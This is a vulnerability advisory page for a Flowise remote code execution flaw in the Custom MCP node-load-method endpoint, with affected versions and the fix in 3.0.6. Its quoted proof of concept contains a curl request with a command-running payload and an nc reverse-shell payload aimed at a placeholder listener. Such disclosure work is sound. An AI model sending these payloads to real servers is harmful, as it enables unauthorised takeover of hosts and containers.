Live › vulnerability › CVE-2025-71336
Flowise's Custom MCP feature starts local MCP servers through commands such as npx, and the node-load-method endpoint passes attacker-supplied command and arguments to it without a sandbox. A request to that endpoint can run arbitrary system commands on the server, including a reverse shell, which gives full control of the container or host.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-11-03 17:36 UTC, 0h before NVD. All times on this page are UTC.
Teams that run Flowise as a self-hosted server or container are exposed when the affected version is running and the endpoint can be reached, particularly without FLOWISE_USERNAME and FLOWISE_PASSWORD configured. Installations that are upgraded to 3.0.6, or that sit behind strict authentication and network controls, are not exposed through this path; the sources do not say more about managed hosting.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| flowise | npm | >= 2.2.7-patch.1, < 3.0.6 | 3.0.6 |
| flowiseai flowise | vendor | < 3.0.6 | 3.0.6 |
npm ls flowise and confirm whether it falls in the affected range >= 2.2.7-patch.1, < 3.0.6.FLOWISE_USERNAMEFLOWISE_PASSWORD3.0.6Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
The Custom MCPs feature is designed to execute OS commands, for instance, using tools like npx to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables.
This combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands. This can result in Remote Code Execution (RCE) and complete compromise of the running platform container or server.
Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as npx, pnpm, etc):
https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker
Create a new file named payload.json somewhere in your machine, with the following data:
{"inputs":{"mcpServerConfig":{"command": "touch","args": ["/tmp/yofitofi"]}},"loadMethod":"listActions"}
curl request using the payload.json file created above with the following command:curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"
yofitofi is created under /tmp folder.Similarily, we can use the same technique to gain a reverse shell using the built-in nc utility with the following JSON payload:
{"inputs":{"mcpServerConfig":{"command": "nc","args": [
"<LISTENER_IP_ADDRESS>","<LISTENER_PORT>","-e","/bin/sh"
]}},
"loadMethod":"listActions"}
Remote code execution
The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.
This page as .md · .json · in your agent: get_signal("CVE-2025-71336")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.